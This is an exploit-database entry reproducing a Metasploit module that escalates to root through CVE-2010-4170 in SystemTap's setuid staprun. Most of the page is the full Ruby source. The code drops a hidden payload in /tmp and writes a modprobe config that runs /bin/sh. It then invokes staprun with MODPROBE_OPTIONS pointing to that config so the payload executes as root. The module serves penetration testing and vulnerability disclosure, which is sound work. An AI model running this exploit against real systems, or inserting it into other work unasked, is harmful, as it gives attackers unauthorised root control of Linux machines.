SystemTap MODPROBE_OPTIONS Privilege Escalation

2019-04-18T17:15:22
ID MSF:EXPLOIT/LINUX/LOCAL/SYSTEMTAP_MODPROBE_OPTIONS_PRIV_ESC
Type metasploit
Reporter Rapid7
Modified 2019-04-19T02:54:30

Description

This module attempts to gain root privileges by exploiting a vulnerability in the staprun executable included with SystemTap version 1.3. The staprun executable does not clear environment variables prior to executing modprobe, allowing an arbitrary configuration file to be specified in the MODPROBE_OPTIONS environment variable, resulting in arbitrary command execution with root privileges. This module has been tested successfully on: systemtap 1.2-1.fc13-i686 on Fedora 13 (i686); and systemtap 1.1-3.el5 on RHEL 5.5 (x64).

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'SystemTap MODPROBE_OPTIONS Privilege Escalation',
      'Description'    => %q{
        This module attempts to gain root privileges by exploiting a
        vulnerability in the `staprun` executable included with SystemTap
        version 1.3.

        The `staprun` executable does not clear environment variables prior to
        executing `modprobe`, allowing an arbitrary configuration file to be
        specified in the `MODPROBE_OPTIONS` environment variable, resulting
        in arbitrary command execution with root privileges.

        This module has been tested successfully on:

        systemtap 1.2-1.fc13-i686 on Fedora 13 (i686); and
        systemtap 1.1-3.el5 on RHEL 5.5 (x64).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Tavis Ormandy', # Discovery and exploit
          'bcoles'         # Metasploit
        ],
      'DisclosureDate' => '2010-11-17',
      'References'     =>
        [
          ['BID', '44914'],
          ['CVE', '2010-4170'],
          ['EDB', '15620'],
          ['URL', 'https://securitytracker.com/id?1024754'],
          ['URL', 'https://access.redhat.com/security/cve/cve-2010-4170'],
          ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=653604'],
          ['URL', 'https://lists.fedoraproject.org/pipermail/package-announce/2010-November/051115.html'],
          ['URL', 'https://bugs.launchpad.net/bugs/677226'],
          ['URL', 'https://www.debian.org/security/2011/dsa-2348']
        ],
      'Platform'       => ['linux'],
      'Arch'           =>
        [
          ARCH_X86,
          ARCH_X64,
          ARCH_ARMLE,
          ARCH_AARCH64,
          ARCH_PPC,
          ARCH_MIPSLE,
          ARCH_MIPSBE
        ],
      'SessionTypes'   => ['shell', 'meterpreter'],
      'Targets'        => [['Auto', {}]],
      'DefaultTarget'  => 0))
    register_options [
      OptString.new('STAPRUN_PATH', [true, 'Path to staprun executable', '/usr/bin/staprun'])
    ]
    register_advanced_options [
      OptBool.new('ForceExploit', [false, 'Override check result', false]),
      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
    ]
  end

  def staprun_path
    datastore['STAPRUN_PATH']
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def upload(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    rm_f path
    write_file path, data
    register_file_for_cleanup path
  end

  def upload_and_chmodx(path, data)
    upload path, data
    chmod path
  end

  def check
    # On some systems, staprun execution is restricted to stapusr group:
    # ---s--x---. 1 root stapusr 178488 Mar 28  2014 /usr/bin/staprun
    unless cmd_exec("test -x '#{staprun_path}' && echo true").include? 'true'
      vprint_error "#{staprun_path} is not executable"
      return CheckCode::Safe
    end
    vprint_good "#{staprun_path} is executable"

    unless setuid? staprun_path
      vprint_error "#{staprun_path} is not setuid"
      return CheckCode::Safe
    end
    vprint_good "#{staprun_path} is setuid"

    CheckCode::Detected
  end

  def exploit
    unless check == CheckCode::Detected
      unless datastore['ForceExploit']
        fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
      end
      print_warning 'Target does not appear to be vulnerable'
    end

    if is_root?
      unless datastore['ForceExploit']
        fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
      end
    end

    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    payload_name = ".#{rand_text_alphanumeric 10..15}"
    payload_path = "#{base_dir}/#{payload_name}"
    upload_and_chmodx payload_path, generate_payload_exe

    config_path = "#{base_dir}/#{payload_name}.conf"
    upload config_path, "install uprobes /bin/sh"

    print_status 'Executing payload...'
    res = cmd_exec "echo '#{payload_path}&' | MODPROBE_OPTIONS='-C #{config_path}' #{staprun_path} -u #{rand_text_alphanumeric 10..15}"
    vprint_line res
  end
end